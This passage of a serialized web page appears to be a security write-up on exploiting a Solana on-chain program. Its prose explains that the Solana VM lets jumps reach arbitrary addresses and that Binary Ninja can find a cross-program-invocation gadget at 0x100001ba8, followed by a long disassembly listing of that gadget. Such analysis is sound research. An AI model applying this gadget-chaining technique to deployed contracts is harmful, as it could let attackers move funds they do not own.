gadget2]\n",{"type":26,"tag":217,"props":124156,"children":124157},{"class":7028,"line":7389},[124158],{"type":26,"tag":217,"props":124159,"children":124160},{},[124161],{"type":32,"value":124162},"    E --> G[...]\n",{"type":26,"tag":39,"props":124164,"children":124165},{},[124166],{"type":32,"value":124167},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":26,"tag":39,"props":124169,"children":124170},{},[124171,124173,124179],{"type":32,"value":124172},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":26,"tag":163,"props":124174,"children":124176},{"href":120640,"rel":124175},[167],[124177],{"type":32,"value":124178},"Binary Ninja",{"type":32,"value":124180}," to find a suitable gadget for this.",{"type":26,"tag":39,"props":124182,"children":124183},{},[124184,124186,124193],{"type":32,"value":124185},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":26,"tag":163,"props":124187,"children":124190},{"href":124188,"rel":124189},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[167],[124191],{"type":32,"value":124192},"skip the strip pass",{"type":32,"value":180},{"type":26,"tag":607,"props":124195,"children":124197},{"id":124196},"cpi-gadget",[124198],{"type":32,"value":124199},"CPI Gadget",{"type":26,"tag":39,"props":124201,"children":124202},{},[124203,124205,124210,124212,124219,124221,124227],{"type":32,"value":124204},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":26,"tag":83,"props":124206,"children":124208},{"className":124207},[],[124209],{"type":32,"value":59057},{"type":32,"value":124211}," function. This function calls into the solana sdk's function ",{"type":26,"tag":163,"props":124213,"children":124216},{"href":124214,"rel":124215},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[167],[124217],{"type":32,"value":124218},"invoke_signed_unchecked",{"type":32,"value":124220},", yielding a powerful gadget at the address ",{"type":26,"tag":83,"props":124222,"children":124224},{"className":124223},[],[124225],{"type":32,"value":124226},"0x100001ba8",{"type":32,"value":180},{"type":26,"tag":207,"props":124229,"children":124231},{"className":56140,"code":124230,"language":56139,"meta":8,"style":8},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[124232],{"type":26,"tag":83,"props":124233,"children":124234},{"__ignoreMap":8},[124235,124261,124315,124366,124417,124468,124491,124538,124545,124577,124628,124683,124717,124724,124773,124803,124878,124885,124935,124981,124988,125019,125070,125100,125122,125129,125180,125225,125232,125282,125310,125331,125338],{"type":26,"tag":217,"props":124236,"children":124237},{"class":7028,"line":7029},[124238,124243,124247,124252,124256],{"type":26,"tag":217,"props":124239,"children":124240},{"style":7048},[124241],{"type":32,"value":124242},"solana_program",{"type":26,"tag":217,"props":124244,"children":124245},{"style":7149},[124246],{"type":32,"value":56166},{"type":26,"tag":217,"props":124248,"children":124249},{"style":7048},[124250],{"type":32,"value":124251},"program",{"type":26,"tag":217,"props":124253,"children":124254},{"style":7149},[124255],{"type":32,"value":56166},{"type":26,"tag":217,"props":124257,"children":124258},{"style":7054},[124259],{"type":32,"value":124260},"invoke_signed_unchecked\n",{"type":26,"tag":217,"props":124262,"children":124263},{"class":7028,"line":6770},[124264,124269,124274,124279,124284,124288,124293,124297,124301,124306,124311],{"type":26,"tag":217,"props":124265,"children":124266},{"style":7054},[124267],{"type":32,"value":124268},"100001ba8",{"type":26,"tag":217,"props":124270,"children":124271},{"style":7054},[124272],{"type":32,"value":124273},"  79a278ff00000000",{"type":26,"tag":217,"props":124275,"children":124276},{"style":7054},[124277],{"type":32,"value":124278},"   ldxdw",{"type":26,"tag":217,"props":124280,"children":124281},{"style":7054},[124282],{"type":32,"value":124283}," r2",{"type":26,"tag":217,"props":124285,"children":124286},{"style":7048},[124287],{"type":32,"value":100636},{"type":26,"tag":217,"props":124289,"children":124290},{"style":7054},[124291],{"type":32,"value":124292},"r10",{"type":26,"tag":217,"props":124294,"children":124295},{"style":7149},[124296],{"type":32,"value":18420},{"type":26,"tag":217,"props":124298,"children":124299},{"style":7130},[124300],{"type":32,"value":27124},{"type":26,"tag":217,"props":124302,"children":124303},{"style":7048},[124304],{"type":32,"value":124305},"] {",{"type":26,"tag":217,"props":124307,"children":124308},{"style":7054},[124309],{"type":32,"value":124310},"var_88",{"type":26,"tag":217,"props":124312,"children":124313},{"style":7048},[124314],{"type":32,"value":7184},{"type":26,"tag":217,"props":124316,"children":124317},{"class":7028,"line":6779},[124318,124323,124328,124332,124337,124341,124345,124349,124353,124357,124362],{"type":26,"tag":217,"props":124319,"children":124320},{"style":7054},[124321],{"type":32,"value":124322},"100001bb0",{"type":26,"tag":217,"props":124324,"children":124325},{"style":7054},[124326],{"type":32,"value":124327},"  79a380ff00000000",{"type":26,"tag":217,"props":124329,"children":124330},{"style":7054},[124331],{"type":32,"value":124278},{"type":26,"tag":217,"props":124333,"children":124334},{"style":7054},[124335],{"type":32,"value":124336}," r3",{"type":26,"tag":217,"props":124338,"children":124339},{"style":7048},[124340],{"type":32,"value":100636},{"type":26,"tag":217,"props":124342,"children":124343},{"style":7054},[124344],{"type":32,"value":124292},{"type":26,"tag":217,"props":124346,"children":124347},{"style":7149},[124348],{"type":32,"value":18420},{"type":26,"tag":217,"props":124350,"children":124351},{"style":7130},[124352],{"type":32,"value":11281},{"type":26,"tag":217,"props":124354,"children":124355},{"style":7048},[124356],{"type":32,"value":124305},{"type":26,"tag":217,"props":124358,"children":124359},{"style":7054},[124360],{"type":32,"value":124361},"var_80",{"type":26,"tag":217,"props":124363,"children":124364},{"style":7048},[124365],{"type":32,"value":7184},{"type":26,"tag":217,"props":124367,"children":124368},{"class":7028,"line":7140},[124369,124374,124379,124383,124388,124392,124396,124400,124404,124408,124413],{"type":26,"tag":217,"props":124370,"children":124371},{"style":7054},[124372],{"type":32,"value":124373},"100001bb8",{"type":26,"tag":217,"props":124375,"children":124376},{"style":7054},[124377],{"type":32,"value":124378},"  79a468ff00000000",{"type":26,"tag":217,"props":124380,"children":124381},{"style":7054},[124382],{"type":32,"value":124278},{"type":26,"tag":217,"props":124384,"children":124385},{"style":7054},[124386],{"type":32,"value":124387}," r4",{"type":26,"tag":217,"props":124389,"children":124390},{"style":7048},[124391],{"type":32,"value":100636},{"type":26,"tag":217,"props":124393,"children":124394},{"style":7054},[124395],{"type":32,"value":124292},{"type":26,"tag":217,"props":124397,"children":124398},{"style":7149},[124399],{"type":32,"value":18420},{"type":26,"tag":217,"props":124401,"children":124402},{"style":7130},[124403],{"type":32,"value":749},{"type":26,"tag":217,"props":124405,"children":124406},{"style":7048},[124407],{"type":32,"value":124305},{"type":26,"tag":217,"props":124409,"children":124410},{"style":7054},[124411],{"type":32,"value":124412},"var_98",{"type":26,"tag":217,"props":124414,"children":124415},{"style":7048},[124416],{"type":32,"value":7184},{"type":26,"tag":217,"props":124418,"children":124419},{"class":7028,"line":7165},[124420,124425,124430,124434,124439,124443,124447,124451,124455,124459,124464],{"type":26,"tag":217,"props":124421,"children":124422},{"style":7054},[124423],{"type":32,"value":124424},"100001bc0",{"type":26,"tag":217,"props":124426,"children":124427},{"style":7054},[124428],{"type":32,"value":124429},"  79a570ff00000000",{"type":26,"tag":217,"props":124431,"children":124432},{"style":7054},[124433],{"type":32,"value":124278},{"type":26,"tag":217,"props":124435,"children":124436},{"style":7054},[124437],{"type":32,"value":124438}," r5",{"type":26,"tag":217,"props":124440,"children":124441},{"style":7048},[124442],{"type":32,"value":100636},{"type":26,"tag":217,"props":124444,"children":124445},{"style":7054},[124446],{"type":32,"value":124292},{"type":26,"tag":217,"props":124448,"children":124449},{"style":7149},[124450],{"type":32,"value":18420},{"type":26,"tag":217,"props":124452,"children":124453},{"style":7130},[124454],{"type":32,"value":27955},{"type":26,"tag":217,"props":124456,"children":124457},{"style":7048},[124458],{"type":32,"value":124305},{"type":26,"tag":217,"props":124460,"children":124461},{"style":7054},[124462],{"type":32,"value":124463},"var_90",{"type":26,"tag":217,"props":124465,"children":124466},{"style":7048},[124467],{"type":32,"value":7184},{"type":26,"tag":217,"props":124469,"children":124470},{"class":7028,"line":7178},[124471,124476,124481,124486],{"type":26,"tag":217,"props":124472,"children":124473},{"style":7054},[124474],{"type":32,"value":124475},"100001bc8",{"type":26,"tag":217,"props":124477,"children":124478},{"style":7130},[124479],{"type":32,"value":124480},"  8520000020100000",{"type":26,"tag":217,"props":124482,"children":124483},{"style":7054},[124484],{"type":32,"value":124485},"   call",{"type":26,"tag":217,"props":124487,"children":124488},{"style":7054},[124489],{"type":32,"value":124490}," sol_invoke_signed_rust\n",{"type":26,"tag":217,"props":124492,"children":124493},{"class":7028,"line":7389},[124494,124499,124504,124509,124513,124517,124521,124525,124529,124533],{"type":26,"tag":217,"props":124495,"children":124496},{"style":7054},[124497],{"type":32,"value":124498},"100001bd0",{"type":26,"tag":217,"props":124500,"children":124501},{"style":7130},[124502],{"type":32,"value":124503},"  5500040000000000",{"type":26,"tag":217,"props":124505,"children":124506},{"style":7054},[124507],{"type":32,"value":124508},"   jne",{"type":26,"tag":217,"props":124510,"children":124511},{"style":7048},[124512],{"type":32,"value":13147},{"type":26,"tag":217,"props":124514,"children":124515},{"style":7149},[124516],{"type":32,"value":3540},{"type":26,"tag":217,"props":124518,"children":124519},{"style":7130},[124520],{"type":32,"value":10985},{"type":26,"tag":217,"props":124522,"children":124523},{"style":7048},[124524],{"type":32,"value":33564},{"type":26,"tag":217,"props":124526,"children":124527},{"style":7054},[124528],{"type":32,"value":25470},{"type":26,"tag":217,"props":124530,"children":124531},{"style":7048},[124532],{"type":32,"value":7599},{"type":26,"tag":217,"props":124534,"children":124535},{"style":7130},[124536],{"type":32,"value":124537},"0x0\n",{"type":26,"tag":217,"props":124539,"children":124540},{"class":7028,"line":7406},[124541],{"type":26,"tag":217,"props":124542,"children":124543},{"emptyLinePlaceholder":17},[124544],{"type":32,"value":7817},{"type":26,"tag":217,"props":124546,"children":124547},{"class":7028,"line":7439},[124548,124553,124558,124563,124568,124572],{"type":26,"tag":217,"props":124549,"children":124550},{"style":7054},[124551],{"type":32,"value":124552},"100001bd8",{"type":26,"tag":217,"props":124554,"children":124555},{"style":7054},[124556],{"type":32,"value":124557},"  b701000018000000",{"type":26,"tag":217,"props":124559,"children":124560},{"style":7054},[124561],{"type":32,"value":124562},"   mov",{"type":26,"tag":217,"props":124564,"children":124565},{"style":7054},[124566],{"type":32,"value":124567}," r1",{"type":26,"tag":217,"props":124569,"children":124570},{"style":7048},[124571],{"type":32,"value":7599},{"type":26,"tag":217,"props":124573,"children":124574},{"style":7130},[124575],{"type":32,"value":124576},"0x18\n",{"type":26,"tag":217,"props":124578,"children":124579},{"class":7028,"line":7487},[124580,124585,124590,124594,124598,124602,124606,124610,124615,124619,124624],{"type":26,"tag":217,"props":124581,"children":124582},{"style":7054},[124583],{"type":32,"value":124584},"100001be0",{"type":26,"tag":217,"props":124586,"children":124587},{"style":7054},[124588],{"type":32,"value":124589},"  79a288ff00000000",{"type":26,"tag":217,"props":124591,"children":124592},{"style":7054},[124593],{"type":32,"value":124278},{"type":26,"tag":217,"props":124595,"children":124596},{"style":7054},[124597],{"type":32,"value":124283},{"type":26,"tag":217,"props":124599,"children":124600},{"style":7048},[124601],{"type":32,"value":100636},{"type":26,"tag":217,"props":124603,"children":124604},{"style":7054},[124605],{"type":32,"value":124292},{"type":26,"tag":217,"props":124607,"children":124608},{"style":7149},[124609],{"type":32,"value":18420},{"type":26,"tag":217,"props":124611,"children":124612},{"style":7130},[124613],{"type":32,"value":124614},"120",{"type":26,"tag":217,"props":124616,"children":124617},{"style":7048},[124618],{"type":32,"value":124305},{"type":26,"tag":217,"props":124620,"children":124621},{"style":7054},[124622],{"type":32,"value":124623},"var_78",{"type":26,"tag":217,"props":124625,"children":124626},{"style":7048},[124627],{"type":32,"value":7184},{"type":26,"tag":217,"props":124629,"children":124630},{"class":7028,"line":7524},[124631,124636,124641,124646,124650,124654,124658,124662,124666,124670,124675,124679],{"type":26,"tag":217,"props":124632,"children":124633},{"style":7054},[124634],{"type":32,"value":124635},"100001be8",{"type":26,"tag":217,"props":124637,"children":124638},{"style":7130},[124639],{"type":32,"value":124640},"  6312000000000000",{"type":26,"tag":217,"props":124642,"children":124643},{"style":7054},[124644],{"type":32,"value":124645},"   stxw",{"type":26,"tag":217,"props":124647,"children":124648},{"style":7048},[124649],{"type":32,"value":95870},{"type":26,"tag":217,"props":124651,"children":124652},{"style":7054},[124653],{"type":32,"value":25484},{"type":26,"tag":217,"props":124655,"children":124656},{"style":7149},[124657],{"type":32,"value":18420},{"type":26,"tag":217,"props":124659,"children":124660},{"style":7130},[124661],{"type":32,"value":1883},{"type":26,"tag":217,"props":124663,"children":124664},{"style":7048},[124665],{"type":32,"value":9799},{"type":26,"tag":217,"props":124667,"children":124668},{"style":7054},[124669],{"type":32,"value":25477},{"type":26,"tag":217,"props":124671,"children":124672},{"style":7048},[124673],{"type":32,"value":124674},"  {",{"type":26,"tag":217,"props":124676,"children":124677},{"style":7130},[124678],{"type":32,"value":18291},{"type":26,"tag":217,"props":124680,"children":124681},{"style":7048},[124682],{"type":32,"value":7184},{"type":26,"tag":217,"props":124684,"children":124685},{"class":7028,"line":7553},[124686,124691,124696,124701,124705,124709,124713],{"type":26,"tag":217,"props":124687,"children":124688},{"style":7054},[124689],{"type":32,"value":124690},"100001bf0",{"type":26,"tag":217,"props":124692,"children":124693},{"style":7130},[124694],{"type":32,"value":124695},"  0500030000000000",{"type":26,"tag":217,"props":124697,"children":124698},{"style":7054},[124699],{"type":32,"value":124700},"   ja",{"type":26,"tag":217,"props":124702,"children":124703},{"style":7048},[124704],{"type":32,"value":13147},{"type":26,"tag":217,"props":124706,"children":124707},{"style":7149},[124708],{"type":32,"value":3540},{"type":26,"tag":217,"props":124710,"children":124711},{"style":7130},[124712],{"type":32,"value":10676},{"type":26,"tag":217,"props":124714,"children":124715},{"style":7048},[124716],{"type":32,"value":7281},{"type":26,"tag":217,"props":124718,"children":124719},{"class":7028,"line":7570},[124720],{"type":26,"tag":217,"props":124721,"children":124722},{"emptyLinePlaceholder":17},[124723],{"type":32,"value":7817},{"type":26,"tag":217,"props":124725,"children":124726},{"class":7028,"line":7621},[124727,124732,124737,124741,124745,124749,124753,124757,124761,124765,124769],{"type":26,"tag":217,"props":124728,"children":124729},{"style":7054},[124730],{"type":32,"value":124731},"100001bf8",{"type":26,"tag":217,"props":124733,"children":124734},{"style":7054},[124735],{"type":32,"value":124736},"  79a188ff00000000",{"type":26,"tag":217,"props":124738,"children":124739},{"style":7054},[124740],{"type":32,"value":124278},{"type":26,"tag":217,"props":124742,"children":124743},{"style":7054},[124744],{"type":32,"value":124567},{"type":26,"tag":217,"props":124746,"children":124747},{"style":7048},[124748],{"type":32,"value":100636},{"type":26,"tag":217,"props":124750,"children":124751},{"style":7054},[124752],{"type":32,"value":124292},{"type":26,"tag":217,"props":124754,"children":124755},{"style":7149},[124756],{"type":32,"value":18420},{"type":26,"tag":217,"props":124758,"children":124759},{"style":7130},[124760],{"type":32,"value":124614},{"type":26,"tag":217,"props":124762,"children":124763},{"style":7048},[124764],{"type":32,"value":124305},{"type":26,"tag":217,"props":124766,"children":124767},{"style":7054},[124768],{"type":32,"value":124623},{"type":26,"tag":217,"props":124770,"children":124771},{"style":7048},[124772],{"type":32,"value":7184},{"type":26,"tag":217,"props":124774,"children":124775},{"class":7028,"line":7672},[124776,124781,124786,124790,124794,124798],{"type":26,"tag":217,"props":124777,"children":124778},{"style":7054},[124779],{"type":32,"value":124780},"100001c00",{"type":26,"tag":217,"props":124782,"children":124783},{"style":7054},[124784],{"type":32,"value":124785},"  bf02000000000000",{"type":26,"tag":217,"props":124787,"children":124788},{"style":7054},[124789],{"type":32,"value":124562},{"type":26,"tag":217,"props":124791,"children":124792},{"style":7054},[124793],{"type":32,"value":124283},{"type":26,"tag":217,"props":124795,"children":124796},{"style":7048},[124797],{"type":32,"value":7599},{"type":26,"tag":217,"props":124799,"children":124800},{"style":7054},[124801],{"type":32,"value":124802},"r0\n",{"type":26,"tag":217,"props":124804,"children":124805},{"class":7028,"line":7681},[124806,124811,124816,124820,124825,124829,124834,124838,124842,124847,124851,124855,124860,124865,124869,124873],{"type":26,"tag":217,"props":124807,"children":124808},{"style":7054},[124809],{"type":32,"value":124810},"100001c08",{"type":26,"tag":217,"props":124812,"children":124813},{"style":7130},[124814],{"type":32,"value":124815},"  8510000075000000",{"type":26,"tag":217,"props":124817,"children":124818},{"style":7054},[124819],{"type":32,"value":124485},{"type":26,"tag":217,"props":124821,"children":124822},{"style":7119},[124823],{"type":32,"value":124824}," _ZN94_",{"type":26,"tag":217,"props":124826,"children":124827},{"style":7149},[124828],{"type":32,"value":118045},{"type":26,"tag":217,"props":124830,"children":124831},{"style":7119},[124832],{"type":32,"value":124833},"LT",{"type":26,"tag":217,"props":124835,"children":124836},{"style":7149},[124837],{"type":32,"value":118045},{"type":26,"tag":217,"props":124839,"children":124840},{"style":7054},[124841],{"type":32,"value":124242},{"type":26,"tag":217,"props":124843,"children":124844},{"style":7149},[124845],{"type":32,"value":124846},"...$",{"type":26,"tag":217,"props":124848,"children":124849},{"style":7054},[124850],{"type":32,"value":120978},{"type":26,"tag":217,"props":124852,"children":124853},{"style":7149},[124854],{"type":32,"value":118045},{"type":26,"tag":217,"props":124856,"children":124857},{"style":7119},[124858],{"type":32,"value":124859},"GT",{"type":26,"tag":217,"props":124861,"children":124862},{"style":7149},[124863],{"type":32,"value":124864},"$$",{"type":26,"tag":217,"props":124866,"children":124867},{"style":7119},[124868],{"type":32,"value":124859},{"type":26,"tag":217,"props":124870,"children":124871},{"style":7149},[124872],{"type":32,"value":118045},{"type":26,"tag":217,"props":124874,"children":124875},{"style":7048},[124876],{"type":32,"value":124877},"4from17ha0d289b72861b06dE\n",{"type":26,"tag":217,"props":124879,"children":124880},{"class":7028,"line":7754},[124881],{"type":26,"tag":217,"props":124882,"children":124883},{"emptyLinePlaceholder":17},[124884],{"type":32,"value":7817},{"type":26,"tag":217,"props":124886,"children":124887},{"class":7028,"line":7784},[124888,124893,124898,124902,124906,124910,124914,124918,124922,124926,124931],{"type":26,"tag":217,"props":124889,"children":124890},{"style":7054},[124891],{"type":32,"value":124892},"100001c10",{"type":26,"tag":217,"props":124894,"children":124895},{"style":7054},[124896],{"type":32,"value":124897},"  79a2b8ff00000000",{"type":26,"tag":217,"props":124899,"children":124900},{"style":7054},[124901],{"type":32,"value":124278},{"type":26,"tag":217,"props":124903,"children":124904},{"style":7054},[124905],{"type":32,"value":124283},{"type":26,"tag":217,"props":124907,"children":124908},{"style":7048},[124909],{"type":32,"value":100636},{"type":26,"tag":217,"props":124911,"children":124912},{"style":7054},[124913],{"type":32,"value":124292},{"type":26,"tag":217,"props":124915,"children":124916},{"style":7149},[124917],{"type":32,"value":18420},{"type":26,"tag":217,"props":124919,"children":124920},{"style":7130},[124921],{"type":32,"value":27855},{"type":26,"tag":217,"props":124923,"children":124924},{"style":7048},[124925],{"type":32,"value":124305},{"type":26,"tag":217,"props":124927,"children":124928},{"style":7054},[124929],{"type":32,"value":124930},"var_48",{"type":26,"tag":217,"props":124932,"children":124933},{"style":7048},[124934],{"type":32,"value":7184},{"type":26,"tag":217,"props":124936,"children":124937},{"class":7028,"line":7802},[124938,124943,124948,124953,124957,124961,124965,124969,124973,124977],{"type":26,"tag":217,"props":124939,"children":124940},{"style":7054},[124941],{"type":32,"value":124942},"100001c18",{"type":26,"tag":217,"props":124944,"children":124945},{"style":7130},[124946],{"type":32,"value":124947},"  1502040000000000",{"type":26,"tag":217,"props":124949,"children":124950},{"style":7054},[124951],{"type":32,"value":124952},"   jeq",{"type":26,"tag":217,"props":124954,"children":124955},{"style":7048},[124956],{"type":32,"value":13147},{"type":26,"tag":217,"props":124958,"children":124959},{"style":7149},[124960],{"type":32,"value":3540},{"type":26,"tag":217,"props":124962,"children":124963},{"style":7130},[124964],{"type":32,"value":10985},{"type":26,"tag":217,"props":124966,"children":124967},{"style":7048},[124968],{"type":32,"value":33564},{"type":26,"tag":217,"props":124970,"children":124971},{"style":7054},[124972],{"type":32,"value":25484},{"type":26,"tag":217,"props":124974,"children":124975},{"style":7048},[124976],{"type":32,"value":7599},{"type":26,"tag":217,"props":124978,"children":124979},{"style":7130},[124980],{"type":32,"value":124537},{"type":26,"tag":217,"props":124982,"children":124983},{"class":7028,"line":7811},[124984],{"type":26,"tag":217,"props":124985,"children":124986},{"emptyLinePlaceholder":17},[124987],{"type":32,"value":7817},{"type":26,"tag":217,"props":124989,"children":124990},{"class":7028,"line":7820},[124991,124996,125001,125006,125010,125014],{"type":26,"tag":217,"props":124992,"children":124993},{"style":7054},[124994],{"type":32,"value":124995},"100001c20",{"type":26,"tag":217,"props":124997,"children":124998},{"style":7130},[124999],{"type":32,"value":125000},"  2702000022000000",{"type":26,"tag":217,"props":125002,"children":125003},{"style":7054},[125004],{"type":32,"value":125005},"   mul",{"type":26,"tag":217,"props":125007,"children":125008},{"style":7054},[125009],{"type":32,"value":124283},{"type":26,"tag":217,"props":125011,"children":125012},{"style":7048},[125013],{"type":32,"value":7599},{"type":26,"tag":217,"props":125015,"children":125016},{"style":7130},[125017],{"type":32,"value":125018},"0x22\n",{"type":26,"tag":217,"props":125020,"children":125021},{"class":7028,"line":7844},[125022,125027,125032,125036,125040,125044,125048,125052,125057,125061,125066],{"type":26,"tag":217,"props":125023,"children":125024},{"style":7054},[125025],{"type":32,"value":125026},"100001c28",{"type":26,"tag":217,"props":125028,"children":125029},{"style":7054},[125030],{"type":32,"value":125031},"  79a1b0ff00000000",{"type":26,"tag":217,"props":125033,"children":125034},{"style":7054},[125035],{"type":32,"value":124278},{"type":26,"tag":217,"props":125037,"children":125038},{"style":7054},[125039],{"type":32,"value":124567},{"type":26,"tag":217,"props":125041,"children":125042},{"style":7048},[125043],{"type":32,"value":100636},{"type":26,"tag":217,"props":125045,"children":125046},{"style":7054},[125047],{"type":32,"value":124292},{"type":26,"tag":217,"props":125049,"children":125050},{"style":7149},[125051],{"type":32,"value":18420},{"type":26,"tag":217,"props":125053,"children":125054},{"style":7130},[125055],{"type":32,"value":125056},"80",{"type":26,"tag":217,"props":125058,"children":125059},{"style":7048},[125060],{"type":32,"value":124305},{"type":26,"tag":217,"props":125062,"children":125063},{"style":7054},[125064],{"type":32,"value":125065},"var_50",{"type":26,"tag":217,"props":125067,"children":125068},{"style":7048},[125069],{"type":32,"value":7184},{"type":26,"tag":217,"props":125071,"children":125072},{"class":7028,"line":7910},[125073,125078,125083,125087,125091,125095],{"type":26,"tag":217,"props":125074,"children":125075},{"style":7054},[125076],{"type":32,"value":125077},"100001c30",{"type":26,"tag":217,"props":125079,"children":125080},{"style":7054},[125081],{"type":32,"value":125082},"  b703000001000000",{"type":26,"tag":217,"props":125084,"children":125085},{"style":7054},[125086],{"type":32,"value":124562},{"type":26,"tag":217,"props":125088,"children":125089},{"style":7054},[125090],{"type":32,"value":124336},{"type":26,"tag":217,"props":125092,"children":125093},{"style":7048},[125094],{"type":32,"value":7599},{"type":26,"tag":217,"props":125096,"children":125097},{"style":7130},[125098],{"type":32,"value":125099},"0x1\n",{"type":26,"tag":217,"props":125101,"children":125102},{"class":7028,"line":7954},[125103,125108,125113,125117],{"type":26,"tag":217,"props":125104,"children":125105},{"style":7054},[125106],{"type":32,"value":125107},"100001c38",{"type":26,"tag":217,"props":125109,"children":125110},{"style":7054},[125111],{"type":32,"value":125112},"  8510000003feffff",{"type":26,"tag":217,"props":125114,"children":125115},{"style":7054},[125116],{"type":32,"value":124485},{"type":26,"tag":217,"props":125118,"children":125119},{"style":7054},[125120],{"type":32,"value":125121}," __rust_dealloc\n",{"type":26,"tag":217,"props":125123,"children":125124},{"class":7028,"line":7985},[125125],{"type":26,"tag":217,"props":125126,"children":125127},{"emptyLinePlaceholder":17},[125128],{"type":32,"value":7817},{"type":26,"tag":217,"props":125130,"children":125131},{"class":7028,"line":8027},[125132,125137,125142,125146,125150,125154,125158,125162,125167,125171,125176],{"type":26,"tag":217,"props":125133,"children":125134},{"style":7054},[125135],{"type":32,"value":125136},"100001c40",{"type":26,"tag":217,"props":125138,"children":125139},{"style":7054},[125140],{"type":32,"value":125141},"  79a2d0ff00000000",{"type":26,"tag":217,"props":125143,"children":125144},{"style":7054},[125145],{"type":32,"value":124278},{"type":26,"tag":217,"props":125147,"children":125148},{"style":7054},[125149],{"type":32,"value":124283},{"type":26,"tag":217,"props":125151,"children":125152},{"style":7048},[125153],{"type":32,"value":100636},{"type":26,"tag":217,"props":125155,"children":125156},{"style":7054},[125157],{"type":32,"value":124292},{"type":26,"tag":217,"props":125159,"children":125160},{"style":7149},[125161],{"type":32,"value":18420},{"type":26,"tag":217,"props":125163,"children":125164},{"style":7130},[125165],{"type":32,"value":125166},"48",{"type":26,"tag":217,"props":125168,"children":125169},{"style":7048},[125170],{"type":32,"value":124305},{"type":26,"tag":217,"props":125172,"children":125173},{"style":7054},[125174],{"type":32,"value":125175},"var_30",{"type":26,"tag":217,"props":125177,"children":125178},{"style":7048},[125179],{"type":32,"value":7184},{"type":26,"tag":217,"props":125181,"children":125182},{"class":7028,"line":8035},[125183,125188,125193,125197,125201,125205,125209,125213,125217,125221],{"type":26,"tag":217,"props":125184,"children":125185},{"style":7054},[125186],{"type":32,"value":125187},"100001c48",{"type":26,"tag":217,"props":125189,"children":125190},{"style":7130},[125191],{"type":32,"value":125192},"  1502030000000000",{"type":26,"tag":217,"props":125194,"children":125195},{"style":7054},[125196],{"type":32,"value":124952},{"type":26,"tag":217,"props":125198,"children":125199},{"style":7048},[125200],{"type":32,"value":13147},{"type":26,"tag":217,"props":125202,"children":125203},{"style":7149},[125204],{"type":32,"value":3540},{"type":26,"tag":217,"props":125206,"children":125207},{"style":7130},[125208],{"type":32,"value":10676},{"type":26,"tag":217,"props":125210,"children":125211},{"style":7048},[125212],{"type":32,"value":33564},{"type":26,"tag":217,"props":125214,"children":125215},{"style":7054},[125216],{"type":32,"value":25484},{"type":26,"tag":217,"props":125218,"children":125219},{"style":7048},[125220],{"type":32,"value":7599},{"type":26,"tag":217,"props":125222,"children":125223},{"style":7130},[125224],{"type":32,"value":124537},{"type":26,"tag":217,"props":125226,"children":125227},{"class":7028,"line":8067},[125228],{"type":26,"tag":217,"props":125229,"children":125230},{"emptyLinePlaceholder":17},[125231],{"type":32,"value":7817},{"type":26,"tag":217,"props":125233,"children":125234},{"class":7028,"line":8107},[125235,125240,125245,125249,125253,125257,125261,125265,125269,125273,125278],{"type":26,"tag":217,"props":125236,"children":125237},{"style":7054},[125238],{"type":32,"value":125239},"100001c50",{"type":26,"tag":217,"props":125241,"children":125242},{"style":7054},[125243],{"type":32,"value":125244},"  79a1c8ff00000000",{"type":26,"tag":217,"props":125246,"children":125247},{"style":7054},[125248],{"type":32,"value":124278},{"type":26,"tag":217,"props":125250,"children":125251},{"style":7054},[125252],{"type":32,"value":124567},{"type":26,"tag":217,"props":125254,"children":125255},{"style":7048},[125256],{"type":32,"value":100636},{"type":26,"tag":217,"props":125258,"children":125259},{"style":7054},[125260],{"type":32,"value":124292},{"type":26,"tag":217,"props":125262,"children":125263},{"style":7149},[125264],{"type":32,"value":18420},{"type":26,"tag":217,"props":125266,"children":125267},{"style":7130},[125268],{"type":32,"value":30583},{"type":26,"tag":217,"props":125270,"children":125271},{"style":7048},[125272],{"type":32,"value":124305},{"type":26,"tag":217,"props":125274,"children":125275},{"style":7054},[125276],{"type":32,"value":125277},"var_38",{"type":26,"tag":217,"props":125279,"children":125280},{"style":7048},[125281],{"type":32,"value":7184},{"type":26,"tag":217,"props":125283,"children":125284},{"class":7028,"line":8145},[125285,125290,125294,125298,125302,125306],{"type":26,"tag":217,"props":125286,"children":125287},{"style":7054},[125288],{"type":32,"value":125289},"100001c58",{"type":26,"tag":217,"props":125291,"children":125292},{"style":7054},[125293],{"type":32,"value":125082},{"type":26,"tag":217,"props":125295,"children":125296},{"style":7054},[125297],{"type":32,"value":124562},{"type":26,"tag":217,"props":125299,"